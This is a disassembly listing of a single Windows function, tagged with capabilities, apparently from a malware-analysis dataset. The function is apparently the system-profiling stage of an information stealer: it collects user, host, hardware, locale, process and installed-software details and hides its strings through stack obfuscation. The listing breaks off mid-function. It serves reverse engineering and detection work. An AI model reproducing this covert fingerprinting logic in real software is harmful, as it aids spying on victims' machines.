Function at 0x40d470
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x50270b
push eax
mov dword fs:[0], esp
mov eax, 0x1f08
push ebx
call fcn.004dcbf0
push esi
push edi
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x142]
movaps xmm0, xmmword [0x525700]
movups xmmword [ebp - 0x142], xmm0
mov word [ebp - 0x132], 0x100
call fcn.00461ff0
lea eax, [ebp - 0x142]
push eax
lea edx, [ebx + 8]
lea ecx, [ebp - 0x1c8]
call fcn.00468c00
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1009783
call fcn.00462230
lea ecx, [ebp - 0x1c8]
call fcn.004027a0
lea ecx, [ebp - 0x7c]
push ecx
push eax
call fcn.004e1ce0
mov edi, eax
add esp, 8
mov dword [ebp - 0x8c], edi
test edi, edi
je 0x40e76e
call fcn.0040b770
test eax, eax
mov dword [ebp - 0x1d], 0x9b9f80b6
mov edx, 0x20119
mov dword [ebp - 0x19], 0xdedac39c
setne byte [ebp - 0x2e]
mov dword [ebp - 0x15], 0xf4f08f
test eax, eax
mov byte [ebp - 0x11], 1
mov ecx, 0x20019
mov esi, 0x532bc4
cmovne ecx, edx
cmp dword [0x532bd8], 0x10
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x1d]
cmovae esi, dword [0x532bc4]
call fcn.00462020
push esi
lea eax, [ebp - 0x1d]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x523d30]
lea ecx, [ebp - 0x45]
add esp, 0xc
mov byte [ebp - 0x35], 1
cmp dword [0x535134], 0x10
mov esi, 0x535120
movups xmmword [ebp - 0x45], xmm0
cmovae esi, dword [0x535120]
call fcn.00461fc0
push esi
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
push 0
call fcn.004e9e2b
add esp, 4
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x100]
mov dword [ebp - 0xfc], edx
push eax
call fcn.004ea313
add esp, 4
mov dword [ebp - 0x1a], 0x928294b0
lea ecx, [ebp - 0x1a]
mov dword [ebp - 0x16], 0x88dfd9c2
mov esi, eax
mov word [ebp - 0x12], 0x100
call fcn.00461f90
push esi
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x19], 0x999d9ba1
lea ecx, [ebp - 0x19]
mov dword [ebp - 0x15], 0x948e97
mov byte [ebp - 0x11], 1
call fcn.00462080
lea eax, [ebp - 0x19]
push eax
lea ecx, [ebp - 0x118]
call fcn.00402700
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xe0]
movaps xmm0, xmmword [0x524fe0]
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0x90], 0
movaps xmm0, xmmword [str.bqZDzpz]
movups xmmword [ebp - 0xd0], xmm0
mov byte [ebp - 0xc0], 1
call fcn.00462050
lea eax, [ebp - 0x90]
push eax
push dword [ebp - 0x34]
push 0
lea eax, [ebp - 0xe0]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d71c
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x78], 0x20019
mov dword [ebp - 0x6c], 0x400
mov dword [ebp - 0x2a], 0x9f9594b9
mov dword [ebp - 0x26], 0xbc9f9791
mov dword [ebp - 0x22], 0x9a9489
mov byte [ebp - 0x1e], 1
call fcn.00462020
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
lea eax, [ebp - 0x2a]
push eax
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d710
lea ecx, [ebp - 0xa00]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d6f4
sub ecx, edx
lea eax, [ebp - 0xa00]
push ecx
push eax
lea ecx, [ebp - 0x118]
call fcn.00464ab0
push dword [ebp - 0x90]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x104], 0x10
lea esi, [ebp - 0x118]
movaps xmm0, xmmword [0x523d80]
lea ecx, [ebp - 0x45]
cmovae esi, dword [ebp - 0x118]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00461fc0
push esi
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x6e], 0x999d9ba1
lea ecx, [ebp - 0x6e]
mov dword [ebp - 0x6a], 0x948e97
mov byte [ebp - 0x66], 1
call fcn.00462080
lea eax, [ebp - 0x6e]
push eax
lea ecx, [ebp - 0x130]
call fcn.00402700
push 0x7c
lea eax, [ebp - 0x428]
mov byte [ebp - 4], 6
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40d7cc
lea ecx, [ebp - 0x424]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d7b0
sub ecx, edx
lea eax, [ebp - 0x424]
push ecx
push eax
lea ecx, [ebp - 0x130]
call fcn.00464ab0
cmp dword [ebp - 0x11c], 0x10
lea esi, [ebp - 0x130]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xb3bfa0b3
cmovae esi, dword [ebp - 0x130]
mov dword [ebp - 0x18], 0x88dfd9c2
mov dword [ebp - 0x14], 0x100f7f1
call fcn.00461f60
push esi
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00402be0
add esp, 0xc
lea ecx, [ebp - 0xd8]
call fcn.0040c6c0
mov dword [ebp - 0x74], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x7f]
mov word [ebp - 0x7f], 0xab
mov byte [ebp - 0x7d], 1
call fcn.00462260
lea ecx, [ebp - 0x294]
call fcn.0040c650
mov esi, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x83]
mov word [ebp - 0x83], 0xab
mov byte [ebp - 0x81], 1
call fcn.00462260
lea ecx, [ebp - 0x77]
mov word [ebp - 0x77], 0xab
mov byte [ebp - 0x75], 1
call fcn.00462260
lea eax, [ebp - 0x77]
push eax
lea edx, [ebp - 0x118]
lea ecx, [ebp - 0x27c]
call fcn.00468c00
add esp, 4
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00468e20
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x83]
mov byte [ebp - 4], 0xa
lea eax, [ecx + 1]
mov dword [ebp - 0x6c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d8b2
sub ecx, dword [ebp - 0x6c]
lea eax, [ebp - 0x83]
push ecx
push eax
mov ecx, edx
call fcn.004677e0
push eax
lea ecx, [ebp - 0x18c]
call fcn.004026b0
push esi
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0xb
push eax
push dword [ebp - 0x88]
lea ecx, [ebp - 0x24c]
call fcn.0046c5a0
lea ecx, [ebp - 0x7f]
mov byte [ebp - 4], 0xc
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d900
sub ecx, edx
lea eax, [ebp - 0x7f]
push ecx
push eax
lea ecx, [ebp - 0x24c]
call fcn.004677e0
push eax
lea ecx, [ebp - 0x234]
call fcn.004026b0
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x234]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x15c]
push eax
push dword [ebp - 0x88]
call fcn.0046c5a0
lea ecx, [ebp - 0x234]
call fcn.00402660
lea ecx, [ebp - 0x24c]
call fcn.00402660
lea ecx, [ebp - 0x18c]
call fcn.00402660
lea ecx, [ebp - 0x264]
call fcn.00402660
lea ecx, [ebp - 0x27c]
call fcn.00402660
lea ecx, [ebp - 0x294]
call fcn.00402660
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0x15
call fcn.00402660
xorps xmm0, xmm0
mov byte [ebp - 0x190], 0
lea ecx, [ebp - 0x3a8]
movups xmmword [ebp - 0x1b0], xmm0
movups xmmword [ebp - 0x1a0], xmm0
call fcn.0047fd90
cmp dword [ebp - 0x148], 0x10
lea eax, [ebp - 0x15c]
push dword [ebp - 0x14c]
cmovae eax, dword [ebp - 0x15c]
lea ecx, [ebp - 0x3a8]
push eax
call fcn.0047fb90
push 0
lea ecx, [ebp - 0x3a8]
call fcn.0047fc60
cmp byte [ebp - 0x30c], 0
je 0x40da1c
movups xmm0, xmmword [ebp - 0x2fb]
mov al, byte [ebp - 0x2db]
mov byte [ebp - 0x190], al
movups xmmword [ebp - 0x1b0], xmm0
movups xmm0, xmmword [ebp - 0x2eb]
movups xmmword [ebp - 0x1a0], xmm0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xb3bfa2bc
mov dword [ebp - 0x18], 0x88dfd9c2
mov dword [ebp - 0x14], 0x100f7f1
call fcn.00461f60
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00402be0
add esp, 0xc
lea eax, [ebp - 0xb08]
push 0x104
push 0
push eax
call fcn.004dde70
add esp, 0xc
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push eax
push 0x40c490
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xb08]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2b], 0x96a6fff9
mov dword [ebp - 0x27], 0xdbc0918c
mov dword [ebp - 0x23], 0xf5f38ed9
mov word [ebp - 0x1f], 0x100
call fcn.00461f30
lea eax, [ebp - 0xb08]
push eax
lea eax, [ebp - 0x2b]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x523f10]
lea esi, [ebx + 8]
add esp, 0xc
mov word [ebp - 0x36], 0x100
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebp - 0x46]
movups xmmword [ebp - 0x46], xmm0
cmovae esi, dword [ebx + 8]
call fcn.00461ff0
push esi
lea eax, [ebp - 0x46]
push eax
push edi
call fcn.00402be0
add esp, 0xc
cmp dword [ebx + 0x60], 0
je 0x40db0c
cmp dword [ebx + 0x64], 0x10
lea esi, [ebx + 0x50]
cmovae esi, dword [ebx + 0x50]
jmp 0x40db11
mov esi, 0x51faf0
lea ecx, [ebp - 0x1a]
mov dword [ebp - 0x1a], 0xd7cca5bd
mov dword [ebp - 0x16], 0xf1f78add
mov word [ebp - 0x12], 0x100
call fcn.00461f90
push esi
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402be0
add esp, 0xc
cmp dword [ebx + 0x48], 0
je 0x40db4e
cmp dword [ebx + 0x4c], 0x10
lea esi, [ebx + 0x38]
cmovae esi, dword [ebx + 0x38]
jmp 0x40db53
mov esi, 0x51faf0
cmp dword [ebx + 0x30], 0
je 0x40db69
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
cmovae eax, dword [ebx + 0x20]
mov dword [ebp - 0x6c], eax
jmp 0x40db70
mov dword [ebp - 0x6c], 0x51faf0
movaps xmm0, xmmword [0x525210]
lea ecx, [ebp - 0x48]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x1000f09
call fcn.00461f00
push esi
push dword [ebp - 0x6c]
lea eax, [ebp - 0x48]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x524fe0]
lea ecx, [ebp - 0x62]
add esp, 0x10
mov dword [ebp - 0x9c], 0
movups xmmword [ebp - 0x62], xmm0
mov dword [ebp - 0x42], 0x79736766
movaps xmm0, xmmword [0x524a90]
movups xmmword [ebp - 0x52], xmm0
mov dword [ebp - 0x3e], 0x697f4f6c
mov dword [ebp - 0x3a], 0x7171746f
mov word [ebp - 0x36], 0x100
call fcn.00461ed0
lea eax, [ebp - 0x9c]
push eax
push dword [ebp - 0x34]
lea eax, [ebp - 0x62]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dcba
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x34], 0x20019
mov dword [ebp - 0x74], 0x400
mov dword [ebp - 0x2a], 0x939987a4
mov dword [ebp - 0x26], 0xb58e9a8d
mov dword [ebp - 0x22], 0x9b909d
mov byte [ebp - 0x1e], 1
call fcn.00462020
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0x2a]
push eax
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dcae
cmp byte [ebp - 0x2e], al
je 0x40dc6a
mov dword [ebp - 0x6a], 0xc2c38c
lea esi, [ebp - 0x6a]
mov byte [ebp - 0x66], 1
jmp 0x40dc78
mov dword [ebp - 0x15], 0xc4c68c
lea esi, [ebp - 0x15]
mov byte [ebp - 0x11], 1
mov ecx, esi
call fcn.004622d0
movaps xmm0, xmmword [0x524710]
lea ecx, [ebp - 0x48]
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x1000f09
call fcn.00461f00
push esi
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x48]
push eax
push edi
call fcn.00402be0
add esp, 0x10
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xc10]
push 0
push eax
call fcn.004dde70
add esp, 0xc
mov dword [ebp - 0xac], 0x104
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xc10]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x524060]
lea ecx, [ebp - 0x49]
movups xmmword [ebp - 0x49], xmm0
mov dword [ebp - 0x39], 0xc0877
mov byte [ebp - 0x35], 1
call fcn.00461ea0
lea eax, [ebp - 0xc10]
push eax
lea eax, [ebp - 0x49]
push eax
push edi
call fcn.00402be0
add esp, 0xc
lea eax, [ebp - 0xd18]
push 0x104
push 0
push eax
call fcn.004dde70
add esp, 0xc
mov dword [ebp - 0x88], 0x104
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0xd18]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x523d70]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00461fc0
lea eax, [ebp - 0xd18]
push eax
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x1d8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x524ed0]
lea ecx, [ebp - 0x51]
movups xmmword [ebp - 0x51], xmm0
mov dword [ebp - 0x41], 0x273c6b6b
mov dword [ebp - 0x3d], 0x2e726d2d
mov dword [ebp - 0x39], 0x40068
mov byte [ebp - 0x35], 1
call fcn.00461e70
push dword [ebp - 0x1cc]
lea eax, [ebp - 0x51]
push dword [ebp - 0x1d0]
push eax
push edi
call fcn.00402be0
push 0x400
lea eax, [ebp - 0x1318]
push 0
push eax
call fcn.004dde70
add esp, 0x1c
lea eax, [ebp - 0x1318]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x524ae0]
test eax, eax
mov byte [ebp - 0x35], 1
je 0x40de3c
lea ecx, [ebp - 0x4d]
mov dword [ebp - 0x3d], 0x7023253e
movups xmmword [ebp - 0x4d], xmm0
mov dword [ebp - 0x39], 0x47b
call fcn.00461e40
lea eax, [ebp - 0x1318]
push eax
lea eax, [ebp - 0x4d]
push eax
push edi
call fcn.00402be0
add esp, 0xc
jmp 0x40de6a
lea ecx, [ebp - 0x51]
mov dword [ebp - 0x41], 0x6953253e
movups xmmword [ebp - 0x51], xmm0
mov dword [ebp - 0x3d], 0x7c656763
mov dword [ebp - 0x39], 0x40062
call fcn.00461e70
lea eax, [ebp - 0x51]
push eax
push edi
call fcn.00402be0
add esp, 8
movaps xmm0, xmmword [0x5249f0]
lea ecx, [ebp - 0x4a]
movups xmmword [ebp - 0x4a], xmm0
mov dword [ebp - 0x3a], 0x273c7661
mov word [ebp - 0x36], 0x100
call fcn.00461e10
lea eax, [ebp - 0x4a]
push eax
push edi
call fcn.00402be0
push 0x200
lea eax, [ebp - 0xf18]
push 0
push eax
call fcn.004dde70
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x14
push 0
push 0
call esi
mov dword [ebp - 0x74], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40df74
push eax
push dword [ebp - 0x74]
call esi
xor esi, esi
mov dword [ebp - 0x74], eax
test eax, eax
je 0x40df6b
nop word [eax + eax]
push 0x200
lea eax, [ebp - 0xf18]
push eax
mov eax, dword [ebp - 0x34]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40df22
lea eax, [ebp - 0xf18]
push eax
push edi
call fcn.00402be0
add esp, 8
jmp 0x40df4f
lea ecx, [ebp - 0x17]
mov dword [ebp - 0x17], 0xd2d6dad4
mov word [ebp - 0x13], 0x8b
mov byte [ebp - 0x11], 1
call fcn.004622a0
lea eax, [ebp - 0xf18]
push eax
lea eax, [ebp - 0x17]
push eax
push edi
call fcn.00402be0
add esp, 0xc
push 0x200
lea eax, [ebp - 0xf18]
push 0
push eax
call fcn.004dde70
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x74]
jb 0x40def0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 0xbc]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0xbc], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x524c80]
lea ecx, [ebp - 0x57]
movups xmmword [ebp - 0x57], xmm0
mov word [ebp - 0x37], 0x1e
movaps xmm0, xmmword [str._b__m.h7k4v]
movups xmmword [ebp - 0x47], xmm0
mov byte [ebp - 0x35], 1
call fcn.00461de0
movzx eax, word [ebp - 0xb0]
push eax
movzx eax, word [ebp - 0xb2]
push eax
movzx eax, word [ebp - 0xb4]
push eax
movzx eax, word [ebp - 0xbc]
push eax
movzx eax, word [ebp - 0xba]
push eax
movzx eax, word [ebp - 0xb6]
push eax
lea eax, [ebp - 0x57]
push eax
push edi
call fcn.00402be0
add esp, 0x20
lea eax, [ebp - 0x1e8]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1e8], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x4d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x21c]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x4d8]
push eax
movups xmmword [ebp - 0x21c], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x4d8]
lea ecx, [ebp - 0x47]
cvtdq2ps xmm0, xmm0
mov word [ebp - 0x37], 0xe
mov byte [ebp - 0x35], 1
divss xmm0, dword [0x523c30]
xorps xmm0, xmmword [0x525aa0]
movss dword [ebp - 0x74], xmm0
movaps xmm0, xmmword [0x523f40]
movups xmmword [ebp - 0x47], xmm0
call fcn.00462140
cvttss2si eax, dword [ebp - 0x74]
push eax
lea eax, [ebp - 0x47]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x2d], 0xbfadfff9
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x29], 0x8c9e8b99
mov dword [ebp - 0x25], 0xa29b8f9d
mov dword [ebp - 0x21], 0x1000b0d
call fcn.00461db0
lea eax, [ebp - 0x2d]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x524530]
lea ecx, [ebp - 0x64]
add esp, 8
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x44], 0x477a7466
movaps xmm0, xmmword [0x524d30]
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0x7e79766a
mov dword [ebp - 0x3c], 0x6d716e6f
mov dword [ebp - 0x38], 0x100117c
call fcn.00462270
lea eax, [ebp - 0x94]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x64]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e1c0
movaps xmm0, xmmword [0x525390]
lea ecx, [ebp - 0x49]
mov dword [ebp - 0x34], 0x20019
mov dword [ebp - 0x74], 0x400
movups xmmword [ebp - 0x49], xmm0
mov dword [ebp - 0x39], 0x616b6d
mov byte [ebp - 0x35], 1
call fcn.00461ea0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 0x49]
push eax
push dword [ebp - 0x94]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e1b4
movaps xmm0, xmmword [0x523d60]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00461fc0
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
push dword [ebp - 0x94]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x1ec], 0
lea eax, [ebp - 0x20c]
push eax
movups xmmword [ebp - 0x20c], xmm0
movups xmmword [ebp - 0x1fc], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movaps xmm0, xmmword [0x523d50]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00461fc0
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 0xc
mov dword [ebp - 0x2d8], 0x40
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40e272
lea ecx, [ebp - 0x2b]
mov dword [ebp - 0x2b], 0xcdbbb4a6
mov dword [ebp - 0x27], 0xdb8fdcd8
mov dword [ebp - 0x23], 0xf5f3bfb1
mov word [ebp - 0x1f], 0x100
call fcn.00461f30
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [ebp - 0x2cc]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x2b]
push eax
push edi
call fcn.00402be0
add esp, 0x10
lea ecx, [ebp - 0xa8]
call fcn.0046c2c0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x16
call fcn.00463b50
push 0x1a4
lea eax, [ebp - 0x7a4]
mov dword [ebp - 0x34], 0
push 0
push eax
mov dword [ebp - 0x7a8], 0x1a8
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x7a8]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40e433
nop
mov esi, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
mov ecx, esi
xor edi, edi
sub ecx, dword [ebp - 0xa8]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40e363
xor esi, esi
nop word [eax + eax]
lea eax, [ebp - 0x784]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00402700
mov ecx, dword [ebp - 0xa8]
add ecx, esi
push eax
call fcn.0046c570
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0x2e], al
call fcn.00402660
cmp byte [ebp - 0x2e], 0
jne 0x40e3ec
mov ecx, dword [ebp - 0xa4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xa8]
inc edi
imul ecx
add esi, 0x18
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x40e300
mov esi, dword [ebp - 0xa4]
sub esi, dword [ebp - 0xa8]
lea ecx, [ebp - 0x49]
movaps xmm0, xmmword [0x524050]
mov eax, 0x2aaaaaab
imul esi
movups xmmword [ebp - 0x49], xmm0
mov dword [ebp - 0x39], 0xc0877
sar edx, 2
mov esi, edx
mov byte [ebp - 0x35], 1
shr esi, 0x1f
add esi, edx
call fcn.00461ea0
mov edi, dword [ebp - 0x8c]
lea eax, [ebp - 0x784]
push eax
push esi
lea eax, [ebp - 0x49]
push eax
push edi
call fcn.00402be0
add esp, 0x10
lea eax, [ebp - 0x784]
lea ecx, [ebp - 0x18c]
push eax
call fcn.00402700
lea eax, [ebp - 0x18c]
mov byte [ebp - 4], 0x17
push eax
lea ecx, [ebp - 0xa8]
call fcn.0046a120
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0x16
call fcn.00402660
jmp 0x40e3f2
mov edi, dword [ebp - 0x8c]
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x7a4]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x7a8], 0x1a8
push eax
mov dword [ebp - 0x34], esi
call fcn.004dde70
add esp, 0xc
lea eax, [ebp - 0x7a8]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40e2d0
movaps xmm0, xmmword [0x523d40]
lea ecx, [ebp - 0x45]
movups xmmword [ebp - 0x45], xmm0
mov byte [ebp - 0x35], 1
call fcn.00461fc0
lea eax, [ebp - 0x45]
push eax
push edi
call fcn.00402be0
add esp, 8
mov dword [ebp - 0x600], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e4f3
lea eax, [ebp - 0x600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40e4ec
lea eax, [ebp - 0x600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40e4ec
nop dword [eax]
lea ecx, [ebp - 0x1b]
mov dword [ebp - 0x1b], 0xacd686d1
mov dword [ebp - 0x17], 0xf6a79ddd
mov word [ebp - 0x13], 0xf6
mov byte [ebp - 0x11], 1
call fcn.00462200
push dword [ebp - 0x5f8]
lea eax, [ebp - 0x5dc]
push eax
lea eax, [ebp - 0x1b]
push eax
push edi
call fcn.00402be0
add esp, 0x10
lea eax, [ebp - 0x600]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40e4a0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x2d], 0xa4adfff9
mov dword [ebp - 0x29], 0x8c8e9f97
mov dword [ebp - 0x25], 0xa29b8f9d
mov dword [ebp - 0x21], 0x1000b0d
call fcn.00461db0
lea eax, [ebp - 0x2d]
push eax
push edi
call fcn.00402be0
movaps xmm0, xmmword [0x524fe0]
lea ecx, [ebp - 0xf4]
movups xmmword [ebp - 0xf4], xmm0
add esp, 8
mov dword [ebp - 0xc4], 0x4a4945
movaps xmm0, xmmword [0x525550]
movups xmmword [ebp - 0xe4], xmm0
mov byte [ebp - 0xc0], 1
movaps xmm0, xmmword [0x5245f0]
movups xmmword [ebp - 0xd4], xmm0
call fcn.00461d80
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0xf4]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e735
xor esi, esi
nop
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x400
push eax
lea eax, [ebp - 0xa00]
push eax
push esi
push dword [ebp - 0x98]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x34], eax
test eax, eax
jne 0x40e720
lea ecx, [ebp - 0x17]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x17], 0xd2aa86d1
mov word [ebp - 0x13], 0x8b
mov byte [ebp - 0x11], 1
call fcn.004622a0
lea eax, [ebp - 0xa00]
push eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x17]
push eax
lea eax, [ebp - 0x1718]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x80]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1718]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e71d
lea ecx, [ebp - 0x2a]
mov dword [ebp - 0x8c], 0xf003f
mov dword [ebp - 0x78], 0x400
